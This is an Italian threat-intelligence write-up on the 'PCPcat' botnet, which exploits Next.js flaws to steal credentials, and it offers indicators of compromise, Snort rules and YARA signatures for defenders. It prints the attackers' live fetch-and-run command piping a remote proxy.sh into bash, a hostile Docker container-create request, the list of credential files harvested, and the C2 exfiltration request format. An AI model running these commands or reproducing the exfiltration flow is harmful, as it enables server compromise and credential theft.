Dentro PCPcat: così una botnet sfrutta le falle di Next.js

Una campagna denominata «PCPcat» sta sottraendo in modo silenzioso credenziali dai deployment Next.js su vasta scala. Attraverso attività di ricognizione attiva tramite honeypot, ho violato la loro API di comando e controllo ed esposto le metriche operative: 59.128 compromissioni confermate, un tasso di successo del 64,6% e un progetto per sfruttare l’intera infrastruttura globale. Questo è il volto del furto di credenziali su scala industriale, e come rilevarlo.

Campagna PCPcat: numeri e impatto dell’operazione

Durante il monitoraggio di un honeypot Docker abbiamo intercettato una sofisticata campagna di attacco basata sullo sfruttamento di vulnerabilità in Next.js/React. La campagna, attribuita a un gruppo che si identifica come «PCP» (dalla firma presente nei file), combina:

• Sfruttamento di CVE-2025-29927 e CVE-2025-66478 per l’esecuzione di codice remoto (RCE)
• Estrazione sistematica di credenziali e dati sensibili
• Installazione di infrastruttura C2 per persistenza e tunneling
• Comando e controllo tramite API con 59.128 server compromessi confermati

SCOPERTA CRITICA: attraverso la ricognizione diretta del server C2 attivo, abbiamo confermato che questa campagna ha già compromesso 59.128 server in meno di 48 ore, con un tasso di successo dello sfruttamento del 64,6%.

La campagna presenta le caratteristiche di operazioni di intelligence su vasta scala ed esfiltrazione di dati su scala industriale.

Come l’attacco PCPcat colpisce i server Next.js

L’attacco inizia con una scansione massiva dei domini Next.js pubblici. Il malware react.py utilizza una sofisticata catena di comandi per:

1. Identificare le vulnerabilità: test iniziale con il comando id per verificare la vulnerabilità del bersaglio
2. Sfruttare CVE-2025-29927 e CVE-2025-66478: exploit specifico per Next.js che consente l’esecuzione di comandi tramite:
   • Manipolazione del payload JSON con prototype pollution
   • Command injection in child_process.execSync()
   • Esfiltrazione del risultato tramite redirect nell’header HTTP

Esfiltrazione di credenziali e dati sensibili

Una volta confermata la vulnerabilità, il malware esegue una ricerca sistematica dei dati sensibili:

Estrazione prioritaria:

• .env, .env.local, .env.production, .env.development
• Variabili d’ambiente di sistema (printenv, env)
• Chiavi SSH: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, /root/.ssh/*
• Credenziali cloud: ~/.aws/credentials, ~/.docker/config.json
• Credenziali Git: ~/.git-credentials, ~/.gitconfig
• File di cronologia: ~/.bash_history (ultimi 100 comandi)
• File di sistema critici: /etc/shadow, /etc/passwd

Persistenza, proxy e tunnel verso il C2

Il malware tenta di installare un’infrastruttura C2 completa:

curl -s http://67.217.57.240:666/files/proxy.sh | bash

Questo installa:

1. GOST v2.12.0 – proxy SOCKS5 su localhost:1080
   • Fornisce un tunnel per il traffico malevolo
   • Utilizzato per operazioni di pivoting di rete
   • Accessibile solo localmente
2. FRP (Fast Reverse Proxy) v0.52.3 – tunnel inverso
   • Crea una connessione in uscita verso il C2 (67.217.57.240:888)
   • Espone i servizi locali all’attaccante
   • Tunneling persistente per l’accesso a lungo termine
3. React Scanner – scansione e sfruttamento continui
   • Ciclo infinito che interroga l’API C2 per nuovi domini
   • Mantiene la macchina compromessa attiva nella campagna
   • Comunica gli sfruttamenti riusciti

Meccanismi di persistenza:

• Creazione di servizi systemd: pcpcat-gost.service, pcpcat-frp.service, ecc.
• Riavvio automatico in caso di errore con ritardo incrementale
• Sopravvive al riavvio del sistema
• Percorsi di installazione multipli (/opt/pcpcat, ~/.local/pcpcat)

L’infrastruttura C2 della campagna PCPcat

Geolocalizzazione: Singapore

Fingerprint del software del server:

BaseHTTP/0.6 Python/3.12.3

Dentro l’API C2 usata da PCPcat

URL base: http://67.217.57.240:5656

Filosofia di progettazione dell’API:

• Nessuna autenticazione/autorizzazione: chiunque può accedere agli endpoint
• Costruita per velocità e semplicità, non per la sicurezza: sviluppo orientato alla funzionalità

Assegnazione dei bersagli tramite GET /domains

Stato: Attivo e reattivo

Scopo: assegnazione dei task ai nodi della botnet

Formato della richiesta:

GET /domains?client=infected-machine-hostname HTTP/1.1

Host: 67.217.57.240:5656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

Connection: close

Formato della risposta:

{

“count”: 2000,

“domains”: [

“192.168.1.100”,

“10.20.30.40”,

“203.45.67.89”,

“…”,

“156.78.90.123”

],

“batch_id”: “batch-1702566834”,

“priority”: “high”,

“timeout”: 15

}

Dettagli operativi:

• Restituisce 2000 indirizzi IP per ogni richiesta
• Include una direttiva di timeout
• Nessuna validazione dell’ID client

Esfiltrazione delle credenziali tramite POST /result

Stato: Attivo e in ricezione dati

Scopo: endpoint di esfiltrazione dati (credenziali, chiavi SSH, credenziali cloud)

Formato della richiesta:

POST /result HTTP/1.1

Host: 67.217.57.240:5656

Content-Type: application/json

Content-Length: [variabile, fino a 2MB osservati]

Connection: close

{

“domain”: “target.example.com”,

“env”: “=== EXFILTRATED DATA ===\nAWS_ACCESS_KEY_ID=AKIA2ZUZQ7AVMXXXXX\n…”

}

Formato della risposta:

{

“status”: “ok”

}

Stato HTTP: 200 OK (sempre, anche in caso di dati malformati)

Dettagli operativi:

• Nessuna autenticazione richiesta (chiunque può inviare dati in POST)
• Nessuna validazione dell’input (accetta payload arbitrari senza sanitizzazione)
• Conferma immediata di ricezione (HTTP 200 OK)
• Dati memorizzati permanentemente nel database del C2
• Testato con successo tramite iniezione di credenziali fittizie

Risultati del test (dalla ricognizione honeypot):

OK POST /result con credenziali AWS fittizie -> HTTP 200 OK

OK POST /result con token GitHub fittizi -> HTTP 200 OK

OK POST /result con chiavi SSH fittizie -> HTTP 200 OK

OK Il server conferma la ricezione: {“status”:”ok”}

OK Dati acquisiti con successo nel database C2

Le metriche operative esposte da GET /stats

Stato: Attivo ed espone dati operativi

Scopo: statistiche della campagna e metriche in tempo reale

Rischio di sicurezza: CRITICO (pubblicamente accessibile)

Formato della risposta (DATI REALI dal C2 attivo, catturati il 14 dicembre 2025):

{

“mode”: “random_ips”,

“current_file”: null,

“current_progress”: “0/0”,

“processed_files”: 580,

“results_collected”: 59128,

“scanned_count”: 91505,

“batch_size”: 2000

}

Intelligence operativa critica:

Proiezioni di crescita (se la campagna mantiene il ritmo attuale):

STATO ATTUALE:

IP scansionati: 91.505

Server compromessi: 59.128

Set di credenziali rubate: ~300.000-590.000 (5-10 per server)

IMPATTO GIORNALIERO:

Batch al giorno: 24 ore / 0,75 ore per batch = 32 batch

IP scansionati/giorno: 32 x 2.000 = 64.000 IP

Sfruttamenti riusciti/giorno: 64.000 x 64,6% = ~41.000 server

Credenziali raccolte/giorno: 41.000 x 7,5 (media) = ~307.500 set

Livello di minaccia da questo solo endpoint: CRITICO

• Esposizione pubblica delle metriche operative
• Rivela ai difensori l’intero avanzamento della campagna
• Gli attaccanti potrebbero non essere consapevoli della ricognizione in corso

Il controllo del C2 tramite GET /health

Stato: Attivo

Scopo: endpoint di health check

Formato della risposta:

ok

La pipeline di esfiltrazione dei dati di PCPcat

Flusso operativo completo, dalla ricognizione al furto dei dati:

Il nodo scanner richiede i bersagli

GET /domains?client=infected-machine-hostname

<- 2000 IP restituiti in un array JSON

Lo scanner sfrutta la CVE-2025-29927 su ogni IP

Per ogni IP nel batch:

POST /exploit con payload contenente prototype pollution (__proto__)

|- Test: esegue il comando `id`

|- Se vulnerabile (RCE confermato):

| |- Estrae i file .env (priorita’ massima)

| |- Estrae le variabili d’ambiente di sistema

| |- Estrae le chiavi SSH private da ~/.ssh/*

| |- Estrae le credenziali AWS

| |- Estrae la configurazione Docker

| |- Estrae le credenziali Git

| |- Estrae la cronologia bash

| |- Prepara il payload di esfiltrazione

|

|- Se non vulnerabile: passa all’IP successivo

I risultati raggiungono l’API di esfiltrazione

POST /result

{

“domain”: “target-ip”,

“env”: “DATI_ESFILTRATI_COMPLETI”

}

<- HTTP 200 OK (dati memorizzati permanentemente)

Il deployment persistente del C2

Se il server ha accesso root OPPURE viene rilevato un container:

execute(curl -s http://67.217.57.240:666/files/proxy.sh | bash)

|- Installa GOST (proxy SOCKS5 su :1080)

|- Installa FRP (tunnel inverso verso C2:888)

|- Crea servizi systemd per la persistenza

|- Configura il riavvio automatico

|- Mantiene un accesso backdoor persistente

Le prove raccolte dall’honeypot su PCPcat

Il file vector.json mostra un tentativo di attacco contro una API Docker esposta:

{

“HostHTTPRequest”: “15.160.24.132:2375”,

“RequestURI”: “/containers/create?name=pcpcat”,

“Body”: {

“Image”: “alpine:latest”,

“Cmd”: [“curl -fsSL http://67.217.57.240:666/files/proxy.sh | bash”]

},

“RemoteAddr”: “128.199.143.161:58086”,

“Location”: “Singapore”

}

Sequenza dell’attacco all’API Docker:

1. Lo scanner individua un’API Docker esposta (porta 2375)
2. Tenta la creazione di un container con immagine Alpine Linux
3. Dopo la creazione, il comando scarica ed esegue proxy.sh
4. Il container diventa un nodo botnet attivo nell’infrastruttura di tunneling
5. Crea nuovi vettori per il pivoting di rete

Indicatori di compromissione dell’attacco PCPcat

67.217.57.240:666 – Server di distribuzione (hosting payload)

67.217.57.240:888 – C2 FRP (tunneling inverso)

67.217.57.240:5656 – API C2 principale (assegnazione task, esfiltrazione)

Endpoint dell’API da monitorare

http://67.217.57.240:5656/domains – Assegnazione bersagli (2000 IP)

http://67.217.57.240:5656/result – Esfiltrazione dati (POST credenziali)

http://67.217.57.240:5656/health – Health check

http://67.217.57.240:5656/stats – Metriche operative (ESPONE I DATI)

http://67.217.57.240:666/files/proxy.sh – Installer di persistenza

http://67.217.57.240:666/files/react.py – Modulo scanner/exploit

Artefatti sugli host compromessi

/opt/pcpcat/ # Directory di installazione principale

/opt/pcpcat/frpc # Binario FRP reverse proxy

/opt/pcpcat/gost # Binario GOST SOCKS5 proxy

/opt/pcpcat/react.py # Modulo scanner ed exploit

/opt/pcpcat/*.log # File di log

$HOME/.local/pcpcat/ # Percorso installazione non-root

~/.pcpcat_installed # File marcatore che indica la compromissione

Servizi systemd creati per la persistenza

pcpcat-gost.service – Servizio proxy GOST SOCKS

pcpcat-frp.service – Servizio tunnel inverso FRP

pcpcat-scanner.service – Servizio di orchestrazione scanner

pcpcat-react.service – Servizio modulo exploit React

Processi associati alla compromissione

./gost -L socks5://:1080 # Proxy SOCKS5 in ascolto

./frpc -c frpc.toml # Client FRP con configurazione

python3 react.py # Modulo scanner/exploit in esecuzione

python3 scanner.py # Orchestratore di scansione

curl -s 67.217.57.240:666/files/* # Download dei payload

bash /tmp/proxy.sh # Esecuzione dell’installer

Tracce di PCPcat nei log

“UwU PCP Cat was here~” # Identificatore della campagna

“https://t.me/Persy_PCP was here” # Contatto dell’attaccante

“https://t.me/teampcp” # Canale di comunicazione del team

“react_scan_*.log” # Log di output dello scanner

“PCPcat deployment successful” # Conferma di installazione

Firme di rete dell’attacco

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

Client identifier: pcpcat-HOSTNAME-TIMESTAMP

Connessione in uscita verso 67.217.57.240:5656 con payload JSON

Connessione in uscita verso 67.217.57.240:888 (tunnel FRP)

HTTP/HTTPS in uscita verso 67.217.57.240:666 (download payload)

PCPcat nella mappatura MITRE ATT&CK

Come rilevare PCPcat con threat hunting e regole di rete

# Rileva la connessione FRP verso il C2

alert tcp any any -> 67.217.57.240 888 (msg:”Possible PCPcat FRP C2 Connection”;

content:”FRP”; sid:1000001; rev:1;)

# Rileva l’accesso al server di distribuzione

alert http any any -> 67.217.57.240 666 (msg:”PCPcat distribution server”;

content:”proxy.sh”; http_uri; sid:1000002; rev:1;)

# Rileva l’esfiltrazione tramite API

alert http any any -> 67.217.57.240 5656 (msg:”PCPcat API C2 communication”;

content:”/result”; http_uri; content:”env”; http_client_body;

sid:1000003; rev:1;)

# Rileva la ricognizione delle statistiche del C2

alert http any any -> 67.217.57.240 5656 (msg:”PCPcat C2 metrics enumeration”;

content:”/stats”; http_uri; sid:1000004; rev:1;)

# Rileva il recupero della lista dei bersagli

alert http any any -> 67.217.57.240 5656 (msg:”PCPcat target assignment”;

content:”/domains”; http_uri; sid:1000005; rev:1;)

La firma YARA per individuare PCPcat

rule PCPcat_react_py {

meta:

description = “PCPcat React.py scanner”

author = “Threat Intel”

date = “2025-12-14”

strings:

$s1 = “CVE-2025-29927” nocase

$s2 = “PCPcat” nocase

$s3 = “67.217.57.240:5656” nocase

$s4 = “deploy_pcpcat”

$s5 = “extract .env”

condition:

(2 of them)

}

rule PCPcat_proxy_sh {

meta:

description = “PCPcat proxy.sh installer”

strings:

$s1 = “pcpcat-gost.service”

$s2 = “pcpcat-frp.service”

$s3 = “67.217.57.240:888”

$s4 = “FRP_VERSION”

condition:

3 of them

}

rule PCPcat_API_Signature {

meta:

description = “PCPcat C2 API communication pattern”

strings:

$s1 = “/domains?client=” nocase

$s2 = “/result” nocase

$s3 = “\”env\”:” nocase

$s4 = “67.217.57.240:5656”

condition:

all of them

}

Le vulnerabilità Next.js sfruttate da PCPcat

Tipo: Prototype Pollution + Command Injection nel runtime di Next.js

Vettore: richiesta HTTP POST con multipart/form-data

Impatto: esecuzione di codice remoto (non autenticata, nessun privilegio richiesto)

Versioni interessate: molteplici versioni di Next.js

Punteggio CVSS: 9,8 – Critico

Meccanismo di exploit:

1. Costruzione di un payload JSON con prototype pollution (__proto__)

2. Manipolazione dell’oggetto _response nel runtime di Next.js

3. Iniezione di un comando arbitrario in child_process.execSync()

4. Restituzione del risultato nell’header Location del redirect HTTP

5. Estrazione dell’output del comando dalla risposta HTTP

Il profilo del gruppo dietro la campagna PCPcat

Alias: PCP Cat / Persy_PCP / Team PCP

Affiliazione: canali Telegram «Persy_PCP», «teampcp» (probabilmente per reclutamento/comunicazione)

Profilo operativo:

• Scansione su scala industriale (91.505 bersagli in 33 ore)
• Esfiltrazione massiva di dati (59.128 compromissioni confermate)
• Infrastruttura botnet distribuita
• Comando e controllo tramite API
• Architettura di payload modulare

Movente:

1. Furto di credenziali: credenziali cloud per rivendita o uso diretto
2. Accesso all’infrastruttura: takeover di account AWS/Azure/GCP
3. Attacco alla supply chain: furto di credenziali di sviluppo per attacchi a valle
4. Furto di dati: vendita di credenziali/dati rubati ad altri threat actor
5. Possibile matrice statale: l’operazione su scala industriale suggerisce un gruppo ben finanziato

Perché la campagna PCPcat resta una minaccia critica

La campagna PCPcat rappresenta una minaccia sofisticata, scalabile e attualmente attiva. Si distingue per le sue operazioni di scansione e sfruttamento completamente automatizzate, per una scala impressionante con oltre 91.000 bersagli analizzati in appena 33 ore e per un tasso di successo anomalo del 64,6%. L’infrastruttura di persistenza è multi-livello, costruita su servizi systemd, tunnel FRP e API C2, il tutto gestito attraverso un’architettura distribuita con controlli di sicurezza minimi.

I risultati critici dell’analisi confermano 59.128 server compromessi in meno di 48 ore, con l’API C2 pubblicamente accessibile senza autenticazione e le metriche operative esposte tramite endpoint pubblici. L’elevato tasso di successo suggerisce un targeting curato oppure una vulnerabilità estremamente diffusa. Al ritmo attuale, la campagna potrebbe compromettere oltre 1,2 milioni di server nell’arco di un mese.

Le organizzazioni a rischio comprendono qualsiasi deployment pubblico di Next.js/React non aggiornato, l’infrastruttura cloud su AWS, Azure o GCP e gli ambienti di sviluppo con file .env o chiavi SSH esposti.

Il livello di minaccia è critico. Le azioni raccomandate includono interventi immediati come l’applicazione delle patch, il blocco dell’infrastruttura C2 e la rotazione delle credenziali, seguiti da una risposta agli incidenti completa e, nel lungo termine, dall’implementazione di architetture zero-trust e monitoraggio continuo.